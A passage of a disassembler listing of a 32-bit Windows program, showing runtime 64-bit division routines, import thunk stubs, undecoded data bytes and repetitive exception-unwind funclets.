		jmp	near ptr 77C3FA76h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7780FED8h, 2300E990h, 0E9907780h, 7780FD9Ch,	7F487EE9h
		dd 3D83ED77h, 5109B4h, 0FF0C75FFh, 90042474h, 7FD25BE8h
		dd 68C35977h, 5109A4h, 5109B468h, 2474FF00h, 310E80Ch
		dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
		dd 0C348D8F7h, 464DE990h, 0E9E9777Fh, 7B777FF5h, 0F5F9E990h
; ---------------------------------------------------------------------------
		jg	short loc_437C51

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437BDA	proc near		; CODE XREF: sub_4199C0+28p
		jmp	near ptr 77C4FA10h
sub_437BDA	endp

; ---------------------------------------------------------------------------
		db 0BDh

; =============== S U B	R O U T	I N E =======================================



sub_437BE0	proc near		; CODE XREF: sub_41B920+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_437C01
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_437C51
; ---------------------------------------------------------------------------


loc_437C01:				; CODE XREF: sub_437BE0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_437C0F:				; CODE XREF: sub_437BE0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C0F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_437C3A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_437C3A
		jb	short loc_437C42
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_437C42


loc_437C3A:				; CODE XREF: sub_437BE0+4Aj
					; sub_437BE0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_437C42:				; CODE XREF: sub_437BE0+52j
					; sub_437BE0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_437C51:				; CODE XREF: ___:00437BD8j
					; sub_437BE0+1Fj
		pop	ebx
		retn	10h
sub_437BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_437C60	proc near		; CODE XREF: sub_41B920+30p
					; sub_41B920+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_437C82
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_437CC3
; ---------------------------------------------------------------------------


loc_437C82:				; CODE XREF: sub_437C60+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_437C90:				; CODE XREF: sub_437C60+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C90
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_437CBE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_437CBE
		jb	short loc_437CBF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_437CBF


loc_437CBE:				; CODE XREF: sub_437C60+4Ej
					; sub_437C60+54j
		dec	esi


loc_437CBF:				; CODE XREF: sub_437C60+56j
					; sub_437C60+5Cj
		xor	edx, edx
		mov	eax, esi


loc_437CC3:				; CODE XREF: sub_437C60+20j
		pop	esi
		pop	ebx
		retn	10h
sub_437C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E3h, 8Dh
		dd 3DE97780h, 6F778073h, 187E990h, 97E97781h, 11778091h
		dd 9515E990h, 0E9907780h, 77809888h, 96AAE990h,	44E97780h
		dd 0A177809Ah, 0FEE2E990h, 6FE97780h, 2577809Eh, 71ECE990h
		dd 0E9907780h, 77809103h, 7F43AEE9h, 0E9901677h, 777E4845h
		dd 0F0D0E990h, 0E990777Fh, 777FF4D2h, 758EE990h, 0E990777Eh
		dd 77807BFDh, 9B30E990h, 0E9907780h, 7780269Bh,	25C1E990h
		dd 0C8E97780h, 34778113h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437D4C	proc near		; CODE XREF: ___:0043297Cp
		jmp	near ptr 77C3619Ch
sub_437D4C	endp

; ---------------------------------------------------------------------------
		db 88h,	90h, 0E9h
		dd 777FF01Ch, 808E54E9h, 50929C77h, 886AC965h, 4C995160h
		dd 437F0E68h, 0A16400h,	50000000h, 258964h, 83000000h
		dd 565368ECh, 0E8658957h, 5D89DB33h, 0E8026AFCh, 777FD5ECh
		dd 0D835990h, 5109A4h, 0B40D83FFh, 0FF005109h, 7435E890h
		dd 0D8B777Eh, 5108B4h, 0E8900889h, 777E73F0h, 8B00D8Bh
		dd 8890051h, 511A28A1h,	0A3008B00h, 510998h, 12EE8h, 0B01D3900h
		dd 7500448Ch, 7EF8680Ch, 0E8900043h, 77815895h,	0FAE859h
		dd 18680000h, 68004444h, 444314h, 0E5E8h, 8ACA100h, 45890051h
		dd 94458D94h, 0A835FF50h, 8D005108h, 8D509C45h,	8D509045h
		dd 0E850A045h, 777E70D3h, 42106890h, 680044h, 0E8004440h
		dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 22F8198h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 9BE85353h, 9002469Eh
		dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 77801FDEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437EBC	proc near		; CODE XREF: ___:00437B04p
		nop
		jmp	near ptr 77C21868h
sub_437EBC	endp

; ---------------------------------------------------------------------------
		dw 8AE9h
dword_437EC4	dd 0B3777FCFh, 801FCDE9h, 0E9900477h, 777FAEDAh, 7011E990h
		dd 88E9777Eh, 0CA77801Eh, 3000068h, 6800h, 25E80001h, 59000000h
		dd 7EE9C359h, 6C778157h, 0C3C3C033h, 7E72A3E9h,	0E9907977h
		dd 777E72D3h, 0D46EE990h, 0E990777Fh, 777FDD80h, 6F15E990h
		dd 0E9907781h, 75C6844Bh, 0C6852AE9h, 0E9909F75h, 75C5A102h
		dd 7553E990h, 0E99075C5h, 75C684F8h, 0A029E990h, 0E99075C4h
		dd 75C53908h, 0F765E990h, 0E99075C5h, 75C4DB94h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437F50	proc near		; CODE XREF: sub_4193C0+17Ep
		nop
		jmp	near ptr 76D6AC1Dh
sub_437F50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 23C8C8Bh, 8D04E990h,	99E9023Ch, 28023D80h, 854EE990h
		dd 0E990023Dh, 23E808Ch, 9194E990h, 0E990023Eh,	23F8080h
		dd 40807BE9h, 0E9901102h, 24097C4h, 99A7E990h, 0E9900240h
		dd 2418068h, 41831BE9h,	0E9903702h, 2418461h, 8056E990h
		dd 0E9900242h, 242846Fh, 804AE990h, 0E9900243h,	2438BB3h
		dd 803EE990h, 0E9900244h, 24482C9h, 8032E990h, 0E9900245h
		dd 246802Ch, 912CE990h,	0E9900246h, 2469D46h, 801AE990h
		dd 0E9900247h, 24785D4h, 8A61E990h, 0E9900247h,	2478B38h
		dd 8002E990h, 83E90248h, 7023C88h, 7FF6E990h, 0E990023Ch
		dd 23B7FF0h, 8976E990h,	0E5E9023Ah, 0B8023A7Fh,	397FDFE9h
		dd 0E990E102h, 23887CEh, 3883C7E9h, 0E9905D02h,	2387FCCh
		dd 8403E990h, 0B1E90237h, 34023782h, 7FBAE990h,	0E990022Eh
		dd 2378290h, 8232E990h,	0E9900237h, 7C4C9095h, 8FA7E990h
		dd 0E9907C4Ch, 2377F9Ch, 368D91E9h, 0E990E102h,	23686B1h
		dd 7F8AE990h, 0E9900236h, 2358957h, 88A8E990h, 0E9900235h
		dd 23586DEh, 3585D7E9h,	0E9908002h, 235844Eh, 8248E990h
		dd 0E9900235h, 2357F60h, 8A91E990h, 0E9900234h,	234890Ch
		dd 85ACE990h, 6E90234h,	0F0023485h, 347F43E9h, 0E9905802h
		dd 2338BD6h, 8841E990h,	0E9900233h, 2338690h, 8286E990h
		dd 0E9900233h, 2337F24h, 8B32E990h, 9DE90232h, 92023287h
		dd 328757E9h, 0E7E9E102h, 0B8023280h, 7F06E990h, 0FE90232h
		dd 4602318Ah, 86C2E990h, 0E9900231h, 2317EF4h, 308D20E9h
		dd 32E90C02h, 6F02308Bh, 87A8E990h, 0DE90230h, 0B8023086h
		dd 7ED6E990h, 0E9900230h, 22F7ED0h, 2CB3E990h, 5AE9001Ch
		dd 34024886h, 8FBFE990h, 0B9E90252h, 58024E7Eh,	527EB3E9h
		dd 0E9901B02h, 2517EACh, 508CA3E9h, 0E9900702h,	2507EA0h
		dd 8160E990h, 0E990024Fh, 24F7E94h, 8B74E990h, 0E990024Eh
		dd 24E881Bh, 8697E990h,	0E990024Eh, 24E8375h, 899DE990h
		dd 19E90248h, 4B024D8Ah, 85FAE990h, 0E990024Dh,	24D823Ah
		dd 7E5EE990h, 0E990024Dh, 24C7E58h, 7E52E990h, 75E9024Bh
		dd 28024A9Bh, 4A97DEE9h, 0E9904B02h, 24A95FDh, 939DE990h
		dd 35E9024Ah, 0C7024A7Eh, 7E2EE990h, 0E9900249h, 7C608F38h
		dd 0BD63E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381DE	proc near		; CODE XREF: ___:0042DBE1p
		jmp	near ptr 71AB4FD4h
sub_4381DE	endp

; ---------------------------------------------------------------------------
		db 67h,	90h
		db 0E9h, 8Fh, 62h
		db 68h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381EA	proc near		; CODE XREF: sub_42DBD1+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_4381EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381F0	proc near		; CODE XREF: sub_42DF40+E5p
					; sub_42EF60+4Fp
		nop
		jmp	near ptr 71AB615Ah
sub_4381F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381F6	proc near		; CODE XREF: sub_42E490+9Ap
					; sub_42F040+45p ...
		jmp	near ptr 71AB428Ah
sub_4381F6	endp

; ---------------------------------------------------------------------------
		db 83h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381FC	proc near		; CODE XREF: sub_42F2C0+53p
					; sub_42F2C0+96p ...
		jmp	near ptr 71AB9639h
sub_4381FC	endp

; ---------------------------------------------------------------------------
		db 0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438202	proc near
		jmp	near ptr 71AC1028h
sub_438202	endp

; ---------------------------------------------------------------------------
		push	ebp

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438208	proc near		; CODE XREF: sub_42E170+71p
					; sub_42ED50+50p
		nop
		jmp	near ptr 71AB2DC0h
sub_438208	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167A9ACh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438214	proc near
		nop
		jmp	near ptr 71AB88D3h
sub_438214	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167A946h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438220	proc near		; CODE XREF: sub_42E870+187p
		nop
		jmp	near ptr 71AB951Eh
sub_438220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438226	proc near
		nop
		jmp	near ptr 71AB3E00h
sub_438226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43822C	proc near		; CODE XREF: sub_42DB00+B1p
		jmp	near ptr 71AB2B66h
sub_43822C	endp

; ---------------------------------------------------------------------------
		db 0A9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438232	proc near		; CODE XREF: ___:0042DC2Fp
					; sub_42E870+152p
		nop
		jmp	near ptr 71AB3B91h
sub_438232	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438238	proc near
		nop
		jmp	near ptr 71AB406Ah
sub_438238	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167C1E4h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438244	proc near		; CODE XREF: sub_42DA80+10p
		nop
		jmp	near ptr 71AB664Dh
sub_438244	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167CE78h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438250	proc near		; CODE XREF: sub_434BA0+Bp
		jmp	near ptr 71AB94DCh
sub_438250	endp

; ---------------------------------------------------------------------------
		db 0F0h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438256	proc near		; CODE XREF: sub_41A7D0+92p
					; sub_41A9C0+CAp ...
		nop
		jmp	near ptr 71AB4544h
sub_438256	endp

; ---------------------------------------------------------------------------
		dd 6888EFE9h, 0E9902571h, 7167C2B1h, 0A952E990h, 0E9907167h
		dd 7167AA9Bh, 67A9F0E9h
		db 71h,	0D9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43827A	proc near
		nop
		jmp	near ptr 71AB3EA1h
sub_43827A	endp

; ---------------------------------------------------------------------------
		dd 6804E4E9h, 0E9907671h, 7167C1FDh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43828C	proc near		; CODE XREF: sub_42DB00+53p
					; sub_42DB00+C3p
		jmp	near ptr 71ABE6EBh
sub_43828C	endp

; ---------------------------------------------------------------------------
		db 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438292	proc near		; CODE XREF: sub_42F2C0+4Ap
		jmp	near ptr 71AC0BDEh
sub_438292	endp

; ---------------------------------------------------------------------------
		push	eax

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438298	proc near
		jmp	near ptr 71AB2A5Eh
sub_438298	endp

; ---------------------------------------------------------------------------
		dec	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43829E	proc near		; CODE XREF: ___:0041C2B7p
					; ___:0041C2CCp
		nop
		jmp	near ptr 71B2578Ch
sub_43829E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382A4	proc near		; CODE XREF: ___:0041C40Dp
					; ___:0041C42Fp
		nop
		jmp	near ptr 71B25099h
sub_4382A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382AA	proc near		; CODE XREF: ___:00426390p
		nop
		jmp	near ptr 71B2517Fh
sub_4382AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B0	proc near		; CODE XREF: sub_420090+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_4382B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B6	proc near		; CODE XREF: sub_420090+9Bp
		nop
		jmp	near ptr 76BF1F1Ch
sub_4382B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382BC	proc near		; CODE XREF: sub_420090+21p
		nop
		jmp	near ptr 76BF3A9Ah
sub_4382BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382C2	proc near		; CODE XREF: ___:0041B2B4p
		nop
		jmp	near ptr 76F36C5Bh
sub_4382C2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 80h, 0DFh
dword_4382CC	dd 0E9907780h, 7780DE51h, 0DE96E990h, 41E97780h, 8D7780E0h
		dd 2C4h	dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh,	8DFFFC84h
		dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403530	proc near		; DATA XREF: sub_403530+2o
		mov	eax, offset dword_43F470
		jmp	sub_437AB8
SEH_403530	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_438E6B:				; DATA XREF: ___:0043F4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403720	proc near		; DATA XREF: sub_403720+2o
		mov	eax, offset dword_43F4C0
		jmp	sub_437AB8
SEH_403720	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C50	proc near		; DATA XREF: sub_403C50+2o
		mov	eax, offset dword_43F700
		jmp	sub_437AB8
SEH_403C50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392B8:				; DATA XREF: ___:0043F75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403CE0	proc near		; DATA XREF: sub_403CE0+2o
		mov	eax, offset dword_43F730
		jmp	sub_437AB8
SEH_403CE0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392E8:				; DATA XREF: ___:0043F794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D60	proc near		; DATA XREF: sub_403D60+2o
		mov	eax, offset dword_43F768
		jmp	sub_437AB8
SEH_403D60	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403DE0	proc near		; DATA XREF: sub_403DE0+2o
		mov	eax, offset dword_43F7A0
		jmp	sub_437AB8
SEH_403DE0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_439338:				; DATA XREF: ___:0043F7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E50	proc near		; DATA XREF: sub_403E50+2o
		mov	eax, offset dword_43F7D0
		jmp	sub_437AB8
SEH_403E50	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_4393B8:				; DATA XREF: ___:0043F85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403F30	proc near		; DATA XREF: sub_403F30+2o
		mov	eax, offset dword_43F830
		jmp	sub_437AB8
SEH_403F30	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
